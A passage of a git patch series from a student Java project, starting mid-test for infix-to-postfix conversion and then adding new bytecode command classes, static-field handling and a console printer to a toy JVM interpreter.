+            Assert.assertEquals("1 3 4 * +", ExprUtil.tokens2String(tokens));
+        }
+        {
+            String infixExpr = "3+2*3+4*5";
+            List<Token> tokens = InfixToPostfix.convert(infixExpr);
+            Assert.assertEquals("3 2 3 * + 4 5 * +", ExprUtil.tokens2String(tokens));
+        }
+        {
+            String infixExpr = "1-3+5-2/1/2*4";
+            List<Token> tokens = InfixToPostfix.convert(infixExpr);
+            Assert.assertEquals("1 3 - 5 + 2 1 / 2 / 4 * -", ExprUtil.tokens2String(tokens));
+        }
+    }
+
+
+} 

From f13f02b10bcfbed088c0ce65bef62247a25e6fc4 Mon Sep 17 00:00:00 2001
From: Haochen <haochen_233333@163.com>
Date: Sun, 30 Apr 2017 23:51:41 +0800
Subject: [PATCH 149/262] println supported in jvm executing engine

---
 .../src/main/java/algorithm/queue/Queue.java  |  26 ++---
 .../src/main/java/jvm/ClassFileLoader.java    |  25 +++--
 .../main/java/jvm/classfile/ClassFile.java    |  34 +++---
 .../main/java/jvm/classfile/ClassParser.java  |   4 +-
 .../attribute/item/impl/SignatureAttr.java    |  16 +++
 .../parser/impl/SignatureParser.java          |  19 ++++
 .../parser/impl/StackMapTableParser.java      |   7 +-
 .../constant/item/impl/IntegerInfo.java       |   2 +-
 .../constant/item/impl/MethodRefInfo.java     |   8 +-
 .../java/jvm/classfile/method/Method.java     |   5 +
 .../main/java/jvm/command/CommandParser.java  |   6 +-
 .../jvm/command/item/ByteCodeCommand.java     |  15 ++-
 .../jvm/command/item/impl/AConstNullCmd.java  |  28 +++++
 .../java/jvm/command/item/impl/DupCmd.java    |   2 +-
 .../jvm/command/item/impl/GetStaticCmd.java   |   2 +-
 .../java/jvm/command/item/impl/GoToCmd.java   |  31 ++++++
 .../jvm/command/item/impl/IfNonNullCmd.java   |  35 ++++++
 .../command/item/impl/InvokeSpecialCmd.java   |   7 ++
 .../command/item/impl/InvokeStaticCmd.java    |  32 ++++++
 .../java/jvm/command/item/impl/PopCmd.java    |  28 +++++
 .../jvm/command/item/impl/PutFieldCmd.java    |   2 +-
 .../jvm/command/item/impl/PutStaticCmd.java   |  36 +++++++
 .../main/java/jvm/engine/ConsolePrinter.java  |  18 ++++
 .../src/main/java/jvm/engine/MethodArea.java  |   6 +-
 .../src/main/java/jvm/engine/MiniJVM.java     |  32 ++++++
 .../src/main/java/jvm/engine/StackFrame.java  |  13 ++-
 .../main/java/jvm/util/ByteCodeIterator.java  |   2 +-
 .../src/main/java/jvm/util/ByteUtils.java     |  11 +-
 .../src/main/java/jvm/util/NumberUtils.java   |  22 ++++
 .../src/main/java/jvm/util/TypeUtils.java     |   2 +-
 .../src/main/java/jvm/util/code/Code.java     | 100 ++++++++++++++++++
 .../src/main/java/jvm/util/code/CompCode.java |  27 +++++
 .../src/main/java/jvm/util/code/Getter.java   |  18 ++++
 .../main/java/jvm/util/code/PureDecimal.java  |  35 ++++++
 .../main/java/jvm/util/code/PureInteger.java  |  36 +++++++
 .../src/main/java/jvm/util/code/TrueCode.java |  27 +++++
 .../main/java/jvm/util/code/ValueCode.java    |  48 +++++++++
 .../test/java/jvm/ClassFileLoaderTest.java    |  65 ++++++------
 .../code/src/test/java/jvm/EmployeeV1.java    |  31 +++---
 .../src/test/java/jvm/engine/MiniJVMTest.java |  25 +++++
 40 files changed, 775 insertions(+), 113 deletions(-)
 create mode 100644 group01/895457260/code/src/main/java/jvm/classfile/attribute/item/impl/SignatureAttr.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/SignatureParser.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/command/item/impl/AConstNullCmd.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/command/item/impl/GoToCmd.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/command/item/impl/IfNonNullCmd.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeStaticCmd.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/command/item/impl/PopCmd.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/command/item/impl/PutStaticCmd.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/ConsolePrinter.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/NumberUtils.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/code/Code.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/code/CompCode.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/code/Getter.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/code/PureDecimal.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/code/PureInteger.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/code/TrueCode.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/code/ValueCode.java
 create mode 100644 group01/895457260/code/src/test/java/jvm/engine/MiniJVMTest.java

diff --git a/group01/895457260/code/src/main/java/algorithm/queue/Queue.java b/group01/895457260/code/src/main/java/algorithm/queue/Queue.java
index 6f1ed24bc0..3fb735a3a7 100644
--- a/group01/895457260/code/src/main/java/algorithm/queue/Queue.java
+++ b/group01/895457260/code/src/main/java/algorithm/queue/Queue.java
@@ -3,24 +3,21 @@
 import java.util.NoSuchElementException;
 
 public class Queue<E> {
-    private Node<E> first;    
-    private Node<E> last;     
-    private int size;               
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
 
-    
     private static class Node<E> {
         private E item;
         private Node<E> next;
     }
 
-    
     public Queue() {
         first = null;
-        last  = null;
+        last = null;
         size = 0;
     }
 
-    
     public boolean isEmpty() {
         return first == null;
     }
@@ -29,31 +26,28 @@ public int size() {
         return size;
     }
 
-    
-
     public void enQueue(E data) {
         Node<E> oldlast = last;
-        last = new Node<E>();
+        last = new Node<>();
         last.item = data;
         last.next = null;
         if (isEmpty()) {
-        	first = last;
-        }
-        else{
-        	oldlast.next = last;
+            first = last;
+        } else {
+            oldlast.next = last;
         }
         size++;
     }
 
     public E deQueue() {
         if (isEmpty()) {
-        	throw new NoSuchElementException("Queue underflow");
+            throw new NoSuchElementException("Queue underflow");
         }
         E item = first.item;
         first = first.next;
         size--;
         if (isEmpty()) {
-        	last = null;  
+            last = null;
         }
         return item;
     }
diff --git a/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java b/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java
index cb080512f1..943b5b43ef 100644
--- a/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java
+++ b/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java
@@ -47,14 +47,10 @@ private File getClassFile(String className) throws ClassDuplicateException {
 			split = className.lastIndexOf('/');
 		}
 		String fileName = className.substring(split + 1) + ".class";
-		String subPath = className.substring(0, split).replaceAll("[.]", "/");
+
 		List<File> files = new ArrayList<>();
 		for (String path : classPaths) {
-			File dir = new File(path + '/' + subPath);
-			File[] listFile = dir.listFiles((dir1, name) -> name.equals(fileName));
-			if (listFile != null) {
-				Arrays.stream(listFile).forEach(files::add);
-			}
+			files.addAll(getFiles(new File(path), fileName));
 		}
 		if (files.size() > 1) {
 			throw new ClassDuplicateException();
@@ -62,6 +58,23 @@ private File getClassFile(String className) throws ClassDuplicateException {
 		return files.size() == 1 ? files.get(0) : null;
 	}
 
+	private List<File> getFiles(File path, String fileName) {
+		List<File> files = new ArrayList<>();
+		File[] listFile = path.listFiles();
+		if (listFile == null) {
+			return files;
+		}
+
+		for (File f : listFile) {
+			if (f.isDirectory()) {
+				files.addAll(getFiles(f, fileName));
+			} else if (f.getName().equals(fileName)) {
+				files.add(f);
+			}
+		}
+		return files;
+	}
+
 	public void addClassPath(String path) {
 		if (path != null && !"".equals(path)) {
 			classPaths.add(path);
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java b/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java
index 24b369885d..a3317974b9 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java
@@ -6,10 +6,8 @@
 import jvm.classfile.method.Method;
 import jvm.engine.JavaObject;
 
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
 
 /**
  * Created by Haochen on 2017/4/9.
@@ -26,7 +24,7 @@ public class ClassFile {
     List<Method> methods = new ArrayList<>();
     List<AttributeInfo> attributes = new ArrayList<>();
 
-    Map<Field, JavaObject> staticFieldValues = new HashMap<>();
+    Map<String, JavaObject> staticFieldValues = new HashMap<>();
 
 
     public AccessFlag getAccessFlag() {
@@ -98,13 +96,25 @@ public Field getField(String name) {
                 .orElse(null);
     }
 
-    public JavaObject getStaticFieldValues(Field field) {
-        return staticFieldValues.get(field);
-    }
-
-    public void putStaticFieldValues(Field field, JavaObject object) {
-        if (staticFieldValues.containsKey(field)) {
-            staticFieldValues.put(field, object);
+    public JavaObject getStaticFieldValue(String name) {
+        return staticFieldValues.get(name);
+    }
+
+    public void putStaticFieldValue(String name, JavaObject object) {
+        java.lang.reflect.Field field;
+        try {
+            Class<?> clazz = Class.forName(this.getClassName().replace('/', '.'));
+            field = clazz.getDeclaredField(name);
+            field.setAccessible(true);
+            if (object == null) {
+                staticFieldValues.remove(name);
+                field.set(null, null);
+            } else {
+                staticFieldValues.put(name, object);
+                field.set(null, object);
+            }
+        } catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException e) {
+            throw new RuntimeException("Static field " + getClassName() + "." + name + "not found");
         }
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java b/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java
index 6e572bdd60..e46b25dce6 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java
@@ -28,11 +28,11 @@ public static ClassFile parse(byte[] bytes) {
         classFile.constantPool = parseConstantPool(iterator);
         classFile.accessFlag = parseAccessFlag(iterator);
         classFile.classIndex = parseClassIndex(iterator);
+        linkConstantReferences(classFile);
         parseInterfaces(classFile, iterator);
         parseFields(classFile, iterator);
         parseMethods(classFile, iterator);
         parseAttributes(classFile, iterator);
-        linkConstantReferences(classFile);
         return classFile;
     }
 
@@ -95,7 +95,7 @@ private static void parseFields(ClassFile classFile, ByteCodeIterator iterator)
             Field field = Field.parse(iterator, classFile.constantPool);
             classFile.fields.add(field);
             if (field.getAccessFlag().isStatic()) {
-                classFile.staticFieldValues.put(field, TypeUtils.getDefaultValue(field));
+                classFile.putStaticFieldValue(field.getName(), TypeUtils.getDefaultValue(field));
             }
         }
     }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/attribute/item/impl/SignatureAttr.java b/group01/895457260/code/src/main/java/jvm/classfile/attribute/item/impl/SignatureAttr.java
new file mode 100644
index 0000000000..aa0a01938e
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/classfile/attribute/item/impl/SignatureAttr.java
@@ -0,0 +1,16 @@
+package jvm.classfile.attribute.item.impl;
+
+import jvm.classfile.attribute.item.AttributeInfo;
+
+/**
+ * Created by Haochen on 2017/4/30.
+ * TODO:
+ */
+public class SignatureAttr extends AttributeInfo {
+    private int signatureIndex;
+
+    public SignatureAttr(int attrNameIndex, int attrLen, int signatureIndex) {
+        super(attrNameIndex, attrLen);
+        this.signatureIndex = signatureIndex;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/SignatureParser.java b/group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/SignatureParser.java
new file mode 100644
index 0000000000..74a6c67211
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/SignatureParser.java
@@ -0,0 +1,19 @@
+package jvm.classfile.attribute.parser.impl;
+
+import jvm.classfile.ConstantPool;
+import jvm.classfile.attribute.item.AttributeInfo;
+import jvm.classfile.attribute.item.impl.SignatureAttr;
+import jvm.classfile.attribute.parser.AttributeInfoParser;
+import jvm.util.ByteCodeIterator;
+
+/**
+ * Created by Haochen on 2017/4/30.
+ * TODO:
+ */
+public class SignatureParser implements AttributeInfoParser {
+    @Override
+    public AttributeInfo parse(int attrNameIndex, int attrLen, ByteCodeIterator iterator, ConstantPool constantPool) {
+        int signatureIndex = iterator.nextU2ToInt();
+        return new SignatureAttr(attrNameIndex, attrLen, signatureIndex);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/StackMapTableParser.java b/group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/StackMapTableParser.java
index 087edcffcf..5405d7a2ab 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/StackMapTableParser.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/attribute/parser/impl/StackMapTableParser.java
@@ -14,12 +14,9 @@ public class StackMapTableParser implements AttributeInfoParser {
     @Override
     public AttributeInfo parse(int attrNameIndex, int attrLen,
                                ByteCodeIterator iterator, ConstantPool constantPool) {
-        int index = iterator.nextU2ToInt();
-        int len = iterator.nextU4ToInt();
 
         //后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-        String code = iterator.nextHexString(len);
-
-        return new StackMapTableAttr(index, len, code);
+        String code = iterator.nextHexString(attrLen);
+        return new StackMapTableAttr(attrNameIndex, attrLen, code);
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java
index 1145bd3bb2..d74352bdb3 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java
@@ -36,6 +36,6 @@ public byte[] getBytes() {
     }
 
     public int getValue() {
-        return ByteUtils.toInt(getBytes());
+        return ByteUtils.toUnsignedInt(getBytes());
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java
index 19b17af721..3332040c33 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java
@@ -54,7 +54,11 @@ public String getClassName() {
         return className;
     }
 
-    public String getNameAndType() {
-        return nameAndType;
+    public String getName() {
+        return nameAndType.substring(0, nameAndType.indexOf(':'));
+    }
+
+    public String getParamAndReturnType() {
+        return nameAndType.substring(nameAndType.indexOf(':') + 1);
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java b/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
index bea02fb082..4336fca184 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
@@ -98,4 +98,9 @@ public String getName() {
     public String getParamAndReturnType() {
         return ((UTF8Info) getConstantPool().getConstantInfo(getDescriptorIndex())).getValue();
     }
+
+    @Override
+    public String toString() {
+        return getName() + ':' + getParamAndReturnType();
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/CommandParser.java b/group01/895457260/code/src/main/java/jvm/command/CommandParser.java
index e1b3011fc0..7227d5e6d5 100644
--- a/group01/895457260/code/src/main/java/jvm/command/CommandParser.java
+++ b/group01/895457260/code/src/main/java/jvm/command/CommandParser.java
@@ -16,9 +16,9 @@ public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
         try {
             while (iterator.hasNext()) {
                 String opCode = iterator.next2CharAsString().toUpperCase();
-                String cmdClassName = packageName
-                        + ByteCodeCommand.codeMap.get(opCode).replaceAll("_", "")
-                        + "Cmd";
+                String cmdName = ByteCodeCommand.codeMap.get(opCode);
+                String cmdClassName = packageName + cmdName.replaceAll("_", "") + "Cmd";
+
                 Class<?> clazz = Class.forName(cmdClassName);
                 Constructor<?> constructor = clazz.getConstructor(
                         ClassFile.class, String.class, CommandIterator.class);
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java b/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java
index c78cac416e..95fc736b47 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java
@@ -24,15 +24,19 @@ public abstract class ByteCodeCommand {
 
         codeMap.put("BB", "New");
         codeMap.put("37", "LStore");
+        codeMap.put("B9", "InvokeInterface");
+        codeMap.put("B8", "InvokeStatic");
         codeMap.put("B7", "InvokeSpecial");
         codeMap.put("B6", "InvokeVirtual");
-        codeMap.put("B4", "GetField");
         codeMap.put("B5", "PutField");
+        codeMap.put("B4", "GetField");
+        codeMap.put("B3", "PutStatic");
         codeMap.put("B2", "GetStatic");
 
         codeMap.put("2A", "ALoad_0");
         codeMap.put("2B", "ALoad_1");
         codeMap.put("2C", "ALoad_2");
+        codeMap.put("2D", "ALoad_3");
 
         codeMap.put("10", "BiPush");
         codeMap.put("15", "ILoad");
@@ -46,7 +50,11 @@ public abstract class ByteCodeCommand {
         codeMap.put("1E", "LLoad_0");
 
         codeMap.put("24", "FLoad_2");
+
+        codeMap.put("4B", "AStore_0");
         codeMap.put("4C", "AStore_1");
+        codeMap.put("4D", "AStore_2");
+        codeMap.put("4E", "AStore_3");
 
         codeMap.put("A2", "If_Icmp_Ge");
         codeMap.put("A4", "If_Icmple");
@@ -60,15 +68,20 @@ public abstract class ByteCodeCommand {
         codeMap.put("03", "IConst_0");
         codeMap.put("04", "IConst_1");
 
+        codeMap.put("3B", "IStore_0");
         codeMap.put("3C", "IStore_1");
         codeMap.put("3D", "IStore_2");
+        codeMap.put("3E", "IStore_3");
 
         codeMap.put("59", "Dup");
+        codeMap.put("57", "Pop");
 
         codeMap.put("60", "IAdd");
         codeMap.put("84", "IInc");
 
         codeMap.put("12", "Ldc");
+
+        codeMap.put("C7", "IfNonNull");
     }
 
     ByteCodeCommand(ClassFile clzFile, String opCode, CommandIterator iterator) {
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/AConstNullCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/AConstNullCmd.java
new file mode 100644
index 0000000000..216ef3cdba
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/AConstNullCmd.java
@@ -0,0 +1,28 @@
+package jvm.command.item.impl;
+
+import jvm.classfile.ClassFile;
+import jvm.command.CommandIterator;
+import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
+
+/**
+ * Created by Haochen on 2017/4/20.
+ * TODO:
+ */
+public class AConstNullCmd extends NoOperandCmd {
+    public AConstNullCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
+        super(clzFile, opCode, iterator);
+    }
+
+    @Override
+    public String toString() {
+        return this.getOffset() + ": " + this.getReadableCodeText();
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        frame.getOperandStack().push(null);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
index 4ce44270f0..3543bc4f37 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
@@ -24,6 +24,6 @@ public String toString() {
     @Override
     public void execute(StackFrame frame, ExecutionResult result) {
         JavaObject object = frame.getOperandStack().peek();
-        frame.getOperandStack().push(new JavaObject(object));
+        frame.getOperandStack().push(object);
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java
index 81bf3161f5..38da187aae 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java
@@ -27,7 +27,7 @@ public void execute(StackFrame frame, ExecutionResult result) throws ReadClassEx
         ClassFile classFile = MethodArea.getInstance().findClassFile(fieldRefInfo.getClassName());
         String fieldName = fieldRefInfo.getNameAndType().split(":")[0];
         Field field = classFile.getField(fieldName);
-        JavaObject object = classFile.getStaticFieldValues(field);
+        JavaObject object = classFile.getStaticFieldValue(field.getName());
         frame.getOperandStack().push(object);
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/GoToCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/GoToCmd.java
new file mode 100644
index 0000000000..15ae39dfa4
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/GoToCmd.java
@@ -0,0 +1,31 @@
+package jvm.command.item.impl;
+
+import jvm.classfile.ClassFile;
+import jvm.classfile.ConstantPool;
+import jvm.command.CommandIterator;
+import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
+import jvm.util.NumberUtils;
+
+public class GoToCmd extends TwoOperandCmd {
+
+    public GoToCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
+        super(clzFile, opCode, iterator);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+        return super.getOperandAsField(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        int nextCmdOffset = (getOperand1() << 8) | getOperand2();
+        nextCmdOffset = NumberUtils.toSignedInt(nextCmdOffset, 16);
+        nextCmdOffset += getOffset();
+        result.setNextCmdOffset(nextCmdOffset);
+        result.setNextAction(ExecutionResult.JUMP);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/IfNonNullCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/IfNonNullCmd.java
new file mode 100644
index 0000000000..290477e4fd
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/IfNonNullCmd.java
@@ -0,0 +1,35 @@
+package jvm.command.item.impl;
+
+import jvm.classfile.ClassFile;
+import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.FieldRefInfo;
+import jvm.command.CommandIterator;
+import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
+import jvm.util.NumberUtils;
+
+public class IfNonNullCmd extends TwoOperandCmd {
+
+    public IfNonNullCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
+        super(clzFile, opCode, iterator);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+        return super.getOperandAsField(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject obj = frame.getOperandStack().pop();
+        if (obj != null) {
+            int nextCmdOffset = (getOperand1() << 8) | getOperand2();
+            nextCmdOffset = NumberUtils.toSignedInt(nextCmdOffset, 16);
+            nextCmdOffset += getOffset();
+            result.setNextCmdOffset(nextCmdOffset);
+            result.setNextAction(ExecutionResult.JUMP);
+        }
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java
index ac06fe735f..1b068b95a7 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java
@@ -25,6 +25,13 @@ public String toString(ConstantPool pool) {
     public void execute(StackFrame frame, ExecutionResult result) throws ReadClassException {
         int methodIndex = (getOperand1() << 8) | getOperand2();
         MethodRefInfo methodRefInfo = (MethodRefInfo) getConstantInfo(methodIndex);
+
+        // 不调用Object的构造器
+        if (methodRefInfo.getClassName().equals("java/lang/Object")
+                && methodRefInfo.getName().equals("<init>")) {
+            frame.getOperandStack().pop(); // 弹出不需要的this
+            return;
+        }
         result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
         Method method = MethodArea.getInstance().getMethod(methodRefInfo);
         result.setNextMethod(method);
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeStaticCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeStaticCmd.java
new file mode 100644
index 0000000000..9a5c9f3e88
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeStaticCmd.java
@@ -0,0 +1,32 @@
+package jvm.command.item.impl;
+
+import jvm.classfile.ClassFile;
+import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.MethodRefInfo;
+import jvm.classfile.method.Method;
+import jvm.command.CommandIterator;
+import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.MethodArea;
+import jvm.engine.StackFrame;
+import jvm.exception.ReadClassException;
+
+public class InvokeStaticCmd extends TwoOperandCmd {
+    public InvokeStaticCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
+        super(clzFile, opCode, iterator);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+        return super.getOperandAsMethod(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) throws ReadClassException {
+        int methodIndex = (getOperand1() << 8) | getOperand2();
+        MethodRefInfo methodRefInfo = (MethodRefInfo) getConstantInfo(methodIndex);
+        result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+        Method method = MethodArea.getInstance().getMethod(methodRefInfo);
+        result.setNextMethod(method);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/PopCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/PopCmd.java
new file mode 100644
index 0000000000..503f40ae92
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/PopCmd.java
@@ -0,0 +1,28 @@
+package jvm.command.item.impl;
+
+import jvm.classfile.ClassFile;
+import jvm.command.CommandIterator;
+import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
+
+/**
+ * Created by Haochen on 2017/4/20.
+ * TODO:
+ */
+public class PopCmd extends NoOperandCmd {
+    public PopCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
+        super(clzFile, opCode, iterator);
+    }
+
+    @Override
+    public String toString() {
+        return this.getOffset() + ": " + this.getReadableCodeText();
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        frame.getOperandStack().pop();
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java
index aac89263b8..480a042736 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java
@@ -22,8 +22,8 @@ public String toString(ConstantPool pool) {
 
     @Override
     public void execute(StackFrame frame, ExecutionResult result) {
-        JavaObject obj = frame.getOperandStack().pop();
         JavaObject value = frame.getOperandStack().pop();
+        JavaObject obj = frame.getOperandStack().pop();
         int fieldIndex = (getOperand1() << 8) | getOperand2();
         FieldRefInfo fieldRefInfo = (FieldRefInfo) getConstantInfo(fieldIndex);
         String fieldName = fieldRefInfo.getNameAndType().split(":")[0];
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/PutStaticCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/PutStaticCmd.java
new file mode 100644
index 0000000000..cb1a16a098
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/PutStaticCmd.java
@@ -0,0 +1,36 @@
+package jvm.command.item.impl;
+
+import jvm.classfile.ClassFile;
+import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.FieldRefInfo;
+import jvm.classfile.field.Field;
+import jvm.command.CommandIterator;
+import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.MethodArea;
+import jvm.engine.StackFrame;
+import jvm.exception.ReadClassException;
+
+public class PutStaticCmd extends TwoOperandCmd {
+
+    public PutStaticCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
+        super(clzFile, opCode, iterator);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+        return super.getOperandAsField(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) throws ReadClassException {
+        int index = (getOperand1() << 8) | getOperand2();
+        FieldRefInfo fieldRefInfo = (FieldRefInfo) getConstantInfo(index);
+        ClassFile classFile = MethodArea.getInstance().findClassFile(fieldRefInfo.getClassName());
+        String fieldName = fieldRefInfo.getNameAndType().split(":")[0];
+        Field field = classFile.getField(fieldName);
+        JavaObject object = frame.getOperandStack().pop();
+        classFile.putStaticFieldValue(field.getName(), object);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/engine/ConsolePrinter.java b/group01/895457260/code/src/main/java/jvm/engine/ConsolePrinter.java
new file mode 100644
index 0000000000..88e72bdc21
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/ConsolePrinter.java
@@ -0,0 +1,18 @@
+package jvm.engine;
+
+/**
+ * Created by Haochen on 2017/4/30.
+ * TODO:
+ */
+public class ConsolePrinter {
+    volatile static Object printingBuf = null;
+
+    public static void println(Object o) {
+        while (true) {
+            if (printingBuf == null) {
+                printingBuf = o;
+                break;
+            }
+        }
+    }
+}
